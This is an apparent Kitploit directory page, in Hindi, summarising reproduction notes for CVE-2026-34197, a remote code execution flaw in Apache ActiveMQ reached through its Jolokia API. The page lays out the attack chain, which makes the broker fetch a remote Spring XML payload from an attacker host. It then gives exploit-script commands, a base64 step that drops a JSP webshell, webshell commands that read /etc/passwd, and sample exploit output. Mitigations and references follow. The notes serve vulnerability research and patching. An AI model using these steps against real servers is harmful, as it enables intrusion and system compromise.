Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-34197 — Apache ActiveMQ RCE के माध्यम से Jolokia भेद्यता विश्लेषण और पुनरुत्पादन नोट्स | Kitploit
उपकरण/GitHubGitHub/asdasddqwdq29-a11y/cve-2026-34197
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूल
GitHubasdasddqwdq29-a11y/cve-2026-34197

CVE-2026-34197

Apache ActiveMQ RCE के माध्यम से Jolokia भेद्यता विश्लेषण और पुनरुत्पादन नोट्स

रिपॉजिटरी देखें
63 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-34197 - Apache ActiveMQ Jolokia के माध्यम से RCE

1. अवलोकन

वस्तुविवरण
CVE IDCVE-2026-34197
CVSS8.8 (उच्च)
भेद्यता प्रकाररिमोट कोड निष्पादन (RCE)
CWECWE-20 अनुचित इनपुट सत्यापन / CWE-94 कोड इंजेक्शन
प्रभावित घटकApache ActiveMQ Classic - Jolokia JMX-HTTP ब्रिज
प्रभावित संस्करण< 5.19.4 और 6.0.0 से 6.2.2 तक
निश्चित संस्करण5.19.4 / 6.2.3
प्रकटीकरण तिथि2026-04-07
प्रमाणीकरणडिफ़ॉल्ट रूप से आवश्यक, सामान्यतः admin:admin। संस्करण 6.0.0-6.1.1 CVE-2024-32114 के साथ श्रृंखलित होने पर प्रमाणीकरण के बिना पहुंच योग्य हो सकते हैं।
खोजलगभग 13 वर्षों तक मौजूद रहने के बाद, Anthropic Claude द्वारा AI-सहायता प्राप्त अनुसंधान के रूप में रिपोर्ट किया गया।

2. मूल कारण

2.1 हमला श्रृंखला

root@kitploit:~
Attacker
  |
  |-- 1. POST /api/jolokia/
  |      Invoke BrokerService.addNetworkConnector(String)
  |      Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
  |
  v
ActiveMQ Broker
  |
  |-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
  |      brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
  |
  |-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
  |
  |-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
  |      The init-method="start" command runs before configuration validation blocks the URI.
  |
  `-- 5. Remote code execution is reached.

2.2 प्रमुख शर्तें

  1. Jolokia API का एक्सपोज़र - ActiveMQ वेब कंसोल /api/jolokia/ को एक्सपोज़ करता है, जो JMX-over-HTTP एक्सेस प्रदान करता है।
  2. अत्यधिक विस्तृत MBean अनुमति सूची - CVE-2022-41678 फिक्स ने एक अनुमति सूची पेश की जो org.apache.activemq:* संचालन की अनुमति देती है, जिसमें addNetworkConnector शामिल है।
  3. VM ट्रांसपोर्ट रिमोट कॉन्फ़िगरेशन - vm:// ट्रांसपोर्ट का brokerConfig पैरामीटर रिमोट Spring XML की ओर इशारा कर सकता है, और कॉन्फ़िगरेशन को अस्वीकार किए जाने से पहले बीन इंस्टेंटिएशन होता है।

2.3 फिक्स व्यवहार

ActiveMQ 6.2.3 ने addNetworkConnector() के अंदर सत्यापन जोड़ा ताकि vm:// ट्रांसपोर्ट URI को अस्वीकार किया जा सके:

root@kitploit:~
"error": "VM scheme is not allowed"

3. पुनरुत्पादन

3.1 वातावरण

वस्तुविवरण
हमलावर होस्टmacOS जिसमें OrbStack Docker है
लक्ष्य इमेजalfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1)
रनटाइम उपयोगकर्ताamq (uid=33031)
आधार OSRocky Linux 8.9

3.2 चरण

चरण 1: लैब शुरू करें

root@kitploit:~
cd upstream-poc
docker compose up -d

चरण 2: Jolokia API सत्यापित करें

root@kitploit:~
curl -u admin:admin -H "Origin: http://localhost:8161" \
  http://localhost:8161/api/jolokia/

status: 200 प्रतिक्रिया पुष्टि करती है कि Jolokia पहुंच योग्य है।

चरण 3: एक्सप्लॉइट चलाएं और वेबशेल लिखें

root@kitploit:~
python3 exploit_webshell.py \
  -t http://localhost:8161 \
  --lhost <YOUR_IP> \
  --lport 9999

स्क्रिप्ट निम्नलिखित क्रियाएं करती है:

  1. Jolokia API की जाँच करता है।
  2. ब्रोकर का नाम खोजता है।
  3. बार-बार परीक्षण को विश्वसनीय बनाने के लिए NC नामक मौजूदा NetworkConnector को हटाता है।
  4. एक स्थानीय HTTP सर्वर शुरू करता है जो एक दुर्भावनापूर्ण Spring XML पेलोड परोसता है। JSP वेबशेल base64 के रूप में एम्बेडेड है, इसलिए लक्ष्य को केवल एक बार XML लाने की आवश्यकता है।
  5. कमजोर कोड पथ को ट्रिगर करने के लिए addNetworkConnector अनुरोध भेजता है।
  6. सत्यापित करता है कि वेबशेल सफलतापूर्वक लिखा गया है।

चरण 4: वेबशेल का उपयोग करें

root@kitploit:~
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"

3.3 नमूना आउटपुट

root@kitploit:~
===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
  Target fetches one XML payload; JSP is written from inline base64
===============================================================

[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================

4. संस्करण तुलना

संस्करणइमेजJolokia प्रतिक्रियाRCE
5.18.6apache/activemq-classic:5.18.6status: 200, value: NCसफल रूप से uid=0(root) के रूप में
6.2.1alfresco/alfresco-activemq:6.2.1status: 200, value: NCसफल रूप से uid=33031(amq) के रूप में
6.2.3alfresco/alfresco-activemq:6.2error: VM scheme is not allowedठीक किया गया

5. शोषण नोट्स और सीमाएं

5.1 बार-बार शोषण

addNetworkConnector() NC नामक एक कनेक्टर पंजीकृत करता है। दूसरा पंजीकरण JMX नामकरण विरोध के साथ विफल होता है और 500 त्रुटि लौटाता है। स्क्रिप्ट एक्सप्लॉइट को ट्रिगर करने से पहले removeNetworkConnector("NC") को कॉल करके इसे संभालती है।

5.2 वेबशेल लेखन

ActiveMQ एम्बेडेड Jetty का उपयोग करता है, लेकिन webapps निर्देशिका डिस्क पर मौजूद है और JSP इंजन नव लिखित .jsp फ़ाइलों को संकलित करता है। यह परीक्षण किए गए वातावरण में वेबशेल लेखन को संभव बनाता है।

पेलोड इनलाइन base64 का उपयोग करके JSP लिखता है:

root@kitploit:~
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp

लाभ:

  • JSP विशेष वर्णों जैसे <, >, %, और " के कारण होने वाली XML पार्सिंग समस्याओं से बचाता है।
  • लक्ष्य से JSP डाउनलोड करने के लिए दूसरे आउटबाउंड अनुरोध से बचाता है। लक्ष्य केवल XML पेलोड लाता है।

5.3 आउटबाउंड नेटवर्क आवश्यकता

लक्ष्य को Spring XML पेलोड लाने के लिए हमलावर-नियंत्रित HTTP सर्वर तक पहुंचने में सक्षम होना चाहिए। यदि लक्ष्य के पास हमलावर के लिए कोई आउटबाउंड मार्ग नहीं है, तो यह शोषण पथ पूरा नहीं हो सकता।

5.4 Jolokia मूल जांच

सीधे Jolokia अनुरोध CORS जांच के कारण 403 लौटा सकते हैं। ऐसा Origin हेडर शामिल करें जो लक्ष्य से मेल खाता हो:

root@kitploit:~
Origin: http://TARGET:8161

6. फ़ाइलें

root@kitploit:~
CVE-2026-34197/
|-- README.md                    # This report
|-- exploit_webshell.py          # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/                # File copy from dinosn/CVE-2026-34197
    |-- docker-compose.yml       # Lab environment for ActiveMQ 6.2.1
    |-- exploit_poc.py           # Original PoC script with serve/exploit/auto modes
    `-- serve_payload.py         # Simple payload HTTP server

स्क्रिप्ट तुलना

स्क्रिप्टउद्देश्यआउटबाउंड आवश्यकतावेबशेल
exploit_poc.pyमूल ब्लाइंड RCE PoC जो एक मनमाना कमांड चलाता हैआवश्यकनहीं
exploit_webshell.pyलिखित JSP वेबशेल के माध्यम से एक-शॉट रिफ्लेक्टेड RCEकेवल XML लाने के लिए आवश्यकस्वचालित रूप से एक यादृच्छिक फ़ाइल नाम के साथ लिखा गया

7. शमन

  1. अपग्रेड करें - ActiveMQ Classic 5.19.4+ या 6.2.3+ में अपग्रेड करें।
  2. Jolokia पहुंच को प्रतिबंधित करें - फ़ायरवॉल नियमों या नेटवर्क नीति के साथ पोर्ट 8161 तक पहुंच सीमित करें।
  3. Jolokia को अक्षम करें - यदि रिमोट JMX प्रबंधन आवश्यक नहीं है, तो jetty.xml में Jolokia API को अक्षम करें।
  4. डिफ़ॉल्ट क्रेडेंशियल बदलें - डिफ़ॉल्ट admin:admin क्रेडेंशियल बदलें।
  5. आउटबाउंड पहुंच को प्रतिबंधित करें - ActiveMQ को अविश्वसनीय बाहरी HTTP संसाधनों तक पहुंचने से रोकें।

8. संदर्भ

  • Horizon3.ai का खुलासा: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Apache सुरक्षा सलाह: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • मूल PoC भंडार: https://github.com/dinosn/CVE-2026-34197
टूल डाउनलोड करें